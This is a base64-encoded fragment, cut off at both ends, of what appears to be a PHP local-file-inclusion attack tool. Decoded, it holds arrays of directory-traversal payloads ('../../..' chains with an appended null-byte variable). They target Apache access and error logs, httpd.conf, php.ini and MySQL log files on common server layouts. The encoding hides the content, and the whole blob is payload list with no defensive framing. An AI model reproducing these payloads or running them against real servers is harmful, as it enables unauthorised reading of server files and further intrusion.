vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXNfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXMubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUyL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiKTsgDQogICAgICAgICANCiAgICAgICAgICRsZmllcnJvciA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZS9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZTIvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIpOyANCiAgDQogICAgICAgICAkbGZpY29uZmlnID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlMi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwcHMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwcHMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHAvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZi5kZWZhdWx0Ii4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL29wdC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYuZGVmYXVsdCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA0L2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUvdmhvc3RzLmNvbmYiLiRieXRlMS4iIik7IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAkbGZpcGhwaW5pID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9iaW4vcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9waHAvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC40L2ZjZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9hcGFjaGUvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocDQvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3dlYi9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL1plbmQvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2V0Yy9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2NhbC93d3cvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvY2dpL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvY2dpL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvY2dpL3BocC5pbmkiLiRieXRlMS4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmaW15c3FsID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsZGVycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9teXNxbC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3